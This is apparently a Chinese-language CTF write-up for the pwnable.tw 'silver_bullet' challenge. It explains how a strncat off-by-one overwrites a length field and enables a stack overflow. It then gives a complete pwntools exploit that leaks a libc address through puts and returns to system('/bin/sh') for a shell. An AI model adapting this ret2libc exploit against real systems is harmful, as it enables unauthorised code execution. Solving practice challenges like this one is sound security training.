程序与利用
create 函数如下:
向 s 中读取字节,这个传进来的 s 在main函数栈帧的如下位置:
s + 48 处存放了这段字符的长度。
power up 函数如下:
这里有一个非常重要的函数 strncat():
char *strncat(char *dest, const char *src, size_t n)
这个函数是把 src 指向的字符串追加到 dest 字符串的结尾,直到 n 字符长度为止。如果 src 字符串的长度不足 n 则全部追加,如果超过 n 则只追加前 n 个字符。但是无论哪种情况都会在最终的字符串结尾加上空字符。
而这个函数中的逻辑是先追加,然后计算 v3,其中*(dest + 12) 恰好在追加最长字符的末尾,也就是说通过追加字符可以将该值覆盖为 0,那么 v3 的值一定 < 0x2f,所以通过这种方式就可以继续追加,然后覆盖到下面的返回地址。此时栈的结构如下:
地址 | 内容 |
---|---|
ebp - 0x34 | s |
ebp - 0x4 | len(s) |
ebp | ebp |
ebp+0x4 | 返回地址 |
因为程序处于一个循环中,所以想 return 则必须进入下面这个函数并使返回值满足条件:
其中的条件如下图,所以此时将 len(s) 的值覆盖为大于 *a2 的值即可:
第一次可以利用溢出泄漏 libc_base,将返回地址覆盖为 main 函数:
# get libc_base
des = 'a'*40
add(des)
des = 'b'*8
cat(des)
pl = '\xff'*3 + '\xff'*4 + p32(puts_plt) + p32(main) + p32(puts_got)
cat(pl)
cmd(3)
ru("Oh ! You win !!\n")
addr = u32(p.recvuntil("\n", drop=True).ljust(4, '\x00'))
此时栈上:
接收 puts 地址获得 libc_base,尝试过 read 没成功的原因是在我本机 libc 中其地址末位即小端序的第一位为 \x00,所以没能泄漏,所以下次遇到 payload 没问题但是没泄漏的情况考虑一下是不是其地址的问题。
然后进行第二次利用直接将返回地址修改到 system("/bin/sh");
# system("/bin/sh")
des = 'a'*40
add(des)
des = 'b'*8
cat(des)
pl = '\xff'*3 + '\xff'*4 + p32(system) + p32(main) + p32(bin_sh)
cat(pl)
cmd(3)
此时栈上,return 即完成利用:
完整exp
#encoding=utf-8
from pwn import *
p = process("./silver_bullet")
# p = remote("chall.pwnable.tw", 10103)
elf = ELF("./silver_bullet")
# libc = ELF("./libc_32.so.6")
libc = elf.libc
context(log_level = 'debug')
DEBUG = 1
if DEBUG:
gdb.attach(p,
'''
b *0x08048935
c
''')
def dbg():
gdb.attach(p)
pause()
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
rc = lambda num :p.recv(num)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
info = lambda tag, addr :log.info(tag + " -> " + hex(addr))
ia = lambda :p.interactive()
menu = "Your choice :"
def cmd(idx):
ru(menu)
sl(str(idx))
def add(des):
cmd(1)
ru("description of bullet :")
se(des)
def cat(des):
cmd(2)
ru("description of bullet :")
se(des)
read_got = elf.got['read']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main = 0x08048954
# get libc_base
des = 'a'*40
add(des)
des = 'b'*8
cat(des)
pl = '\xff'*3 + '\xff'*4 + p32(puts_plt) + p32(main) + p32(puts_got)
cat(pl)
cmd(3)
ru("Oh ! You win !!\n")
addr = u32(p.recvuntil("\n", drop=True).ljust(4, '\x00'))
info("addr", addr)
libc_base = addr - libc.symbols['puts']
system = libc_base + libc.symbols['system']
bin_sh = libc_base + libc.search("/bin/sh").next()
# system("/bin/sh")
des = 'a'*40
add(des)
des = 'b'*8
cat(des)
pl = '\xff'*3 + '\xff'*4 + p32(system) + p32(main) + p32(bin_sh)
cat(pl)
cmd(3)
ru("Oh ! You win !!\n")
ia()
知识点
- strncat() 函数